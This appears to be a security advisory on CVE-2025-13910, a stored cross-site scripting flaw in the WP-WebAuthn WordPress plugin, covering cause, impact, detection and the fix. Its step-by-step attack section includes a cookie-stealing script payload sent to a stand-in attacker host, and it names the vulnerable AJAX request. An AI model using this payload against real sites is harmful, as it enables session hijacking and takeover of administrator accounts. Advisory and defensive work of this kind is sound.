CVE-2025-13910: 
WordPress vulnerability analysis and mitigation

CVE-2025-13910 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the WP-WebAuthn plugin for WordPress. It affects all versions up to and including 1.3.4, and was published on March 21, 2026, with Wordfence as the assigning authority. The flaw exists in the wwa_auth AJAX endpoint, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject malicious scripts into the plugin's log page. It carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The wwa_auth AJAX endpoint accepts user-supplied attributes without adequate sanitization and logs them without proper output escaping, meaning attacker-controlled data is stored and later rendered as executable HTML/JavaScript when an administrator views the plugin's log page. Exploitation requires no authentication and no special privileges, but does require that the logging feature is enabled in the plugin's settings and that a privileged user visits the log page. Vulnerable code paths are visible in the plugin source at wwa-ajax.php (lines 906 and 982) and wwa-admin-content.php (line 319) (Wordfence, Plugin Source L906).

Successful exploitation allows unauthenticated attackers to store arbitrary JavaScript that executes in the browser of any user — typically an administrator — who accesses the plugin's log page. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.065%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement that the plugin's logging option be enabled and that a privileged user visit the log page, reducing the overall risk compared to fully unauthenticated, no-interaction XSS flaws (Wordfence).

1. Reconnaissance: Identify WordPress sites using the WP-WebAuthn plugin (version ≤ 1.3.4) with logging enabled, using tools like WPScan or by checking publicly accessible plugin metadata.
2. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the wwa_auth AJAX endpoint.
3. Send unauthenticated AJAX request: Submit a crafted HTTP POST request to the WordPress AJAX handler (/wp-admin/admin-ajax.php?action=wwa_auth) with the malicious payload embedded in a user-supplied attribute field that the plugin logs.
4. Wait for administrator interaction: The payload is stored in the plugin's log. When an administrator navigates to the plugin's log page in the WordPress dashboard, the injected script executes in their browser context.
5. Achieve objective: The executed script can steal session cookies, perform actions as the administrator, or establish persistence (e.g., create a backdoor admin account) (Wordfence, Plugin Source L906).

• Network: Unusual or repeated unauthenticated POST requests to /wp-admin/admin-ajax.php with action=wwa_auth containing HTML or JavaScript in parameter values; outbound requests from administrator browsers to unknown external domains shortly after accessing the WP-WebAuthn log page.
• Logs: WordPress or web server access logs showing POST requests to the AJAX endpoint with encoded script tags or event handlers in request bodies; entries in the WP-WebAuthn plugin log containing <script>, onerror=, onload=, or similar XSS patterns.
• File System: Unexpected new WordPress admin accounts or modified plugin/theme files that could indicate post-exploitation persistence.
• Process/Browser: Administrators reporting unexpected redirects, pop-ups, or session anomalies after viewing the WP-WebAuthn log page (Wordfence).

Update the WP-WebAuthn plugin to version 1.3.5 or later, which contains the fix for insufficient input sanitization and output escaping. As an interim workaround, disable the logging option in the plugin's settings to prevent malicious input from being stored and rendered on the log page. Site administrators should also review existing plugin logs for any suspicious entries and audit administrator accounts for unauthorized changes (Wordfence).